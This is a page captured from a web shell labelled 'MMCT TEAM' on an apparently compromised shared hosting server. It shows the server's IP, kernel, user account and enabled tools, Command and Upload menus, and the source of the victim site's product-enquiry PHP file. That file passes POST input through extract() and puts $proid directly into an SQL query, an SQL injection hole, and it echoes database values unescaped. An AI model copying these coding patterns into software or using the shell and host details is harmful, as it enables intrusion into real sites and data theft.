MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/export/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/export/proinq.php
<?php

include ("Admin/Includes/db.php");

extract($_POST);

// echo $proid;



$sql = "select * from tbl_details where id='$proid'";

  $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con));

  $sql_row = mysqli_fetch_array($sql_res);



   $pname = $sql_row['name'];

   $caegory = $sql_row['cat'];

  

  

  $sqlr = "select * from tbl_categories where id='$caegory'";

  $sql_resr = mysqli_query($con, $sqlr) or die(mysqli_error($con));

  $sql_rowr = mysqli_fetch_assoc($sql_resr);

  

  $catn = $sql_rowr['name'];

 

?>

<style>

    .btp{

        text-transform: uppercase;

    font-size: 14px;

    color: white;

    background: #ff5421;

    font-weight: 500;

    padding-top: 0.020833333in;

    padding-right: 12pt;

    padding-left: 12pt;

    padding-bottom: 0.020833333in;

    /*border-radius: 20px;*/

    line-height: 38px;

    text-align: center;

    transition: .1s;

    margin-right: 0.3125pc;

    display: inline-block;

    border-image: none;

    border-top-color: #ddd;

    border-right-color: #ddd;

    border-bottom-color: #ddd;

    border-left-color: #ddd;

        border-top-style: solid;

            border-bottom-style: solid;

            border-left-style: solid;

            border-right-style: solid;

                border-top-width: 0.75pt;

                border-right-width: 0.0625pc;

                border-bottom-width: 0.010416667in;

                border-left-width: 0.010416667in;

    }

    .btp:hover

    {

        color: white;

            background: #343434;

    }

    

    .btp1{

        text-transform: uppercase;

    font-size: 25px;

    color: white;

    background: #ff5421;

    font-weight: 500;

    padding-top: 0.020833333in;

    padding-right: 10pt;

    padding-left: 10pt;

    padding-bottom: 0.020833333in;

    /*border-radius: 20px;*/

    line-height: 38px;

    text-align: center;

    transition: .1s;

    margin-right: 0.3125pc;

    display: inline-block;

    border-image: none;

    border-top-color: #ddd;

    border-right-color: #ddd;

    border-bottom-color: #ddd;

    border-left-color: #ddd;

        border-top-style: solid;

            border-bottom-style: solid;

            border-left-style: solid;

            border-right-style: solid;

                border-top-width: 0.75pt;

                border-right-width: 0.0625pc;

                border-bottom-width: 0.010416667in;

                border-left-width: 0.010416667in;

    }

    .btp1:hover

    {

        color: white;

            background: #343434;

    }

</style>

<div class="modal-content">

                            <!-- Modal Header -->

                            <div class="modal-header">

                                <h5 class="modal-title">product Enquiry </h5>

                                 <button type="button" class="closei closemod modclo btp1" data-dismiss="modal" >&times;</button>

                            </div>

                            <!-- Modal body -->

                            <form  method="POST"  action="mail_send.php" enctype="multipart/form-data">

                            <div class="modal-body">

                                <div class="row">

                                    <div class="col-md-6">



                                      <div class="form-group">

            

                                        <label for="name" accesskey="U">Name </label>

            

                                        <input name="name" type="text" id="pincode" class="form-control" value="" required="" style="border: 1px solid;"  >

                                        

                                        <input name="pname" type="hidden" id="pincode" class="form-control" value="<?php echo $pname; ?>"   >



                                        <input name="cname" type="hidden" id="pincode" class="form-control" value="<?php echo $catn; ?>"   >



                                        

                                      </div>

                          

                                    </div>

                                    <div class="col-md-6">



                                      <div class="form-group">

            

                                        <label for="name" accesskey="U">Phone Number </label>

            

                                        <input name="phno" type="number" id="pincode" class="form-control" value="" required="" style="border: 1px solid;"  >

                                        

                                      </div>

                          

                                    </div>

                                    <div class="col-md-12">



                                      <div class="form-group">

            

                                        <label for="name" accesskey="U">Message </label>

            

                                        <input name="msg" type="text" id="pincode" class="form-control" value="" required="" style="border: 1px solid;"  >

                                        

                                      </div>

                          

                                    </div>

                                    

                                </div>

                            </div>

                            <div class="modal-footer">

                              <button type="submit" id="btnSubmit" class="theme_button color1 btp" >Submit</button>

                            </div>

                            </form>

                            <!-- Modal footer -->

                        </div>
                        
                         <script type="text/javascript">

$('.closemod').click(function (){
// alert('io');
 $('#product-window').modal('hide');

});

</script>

MMCT - 2023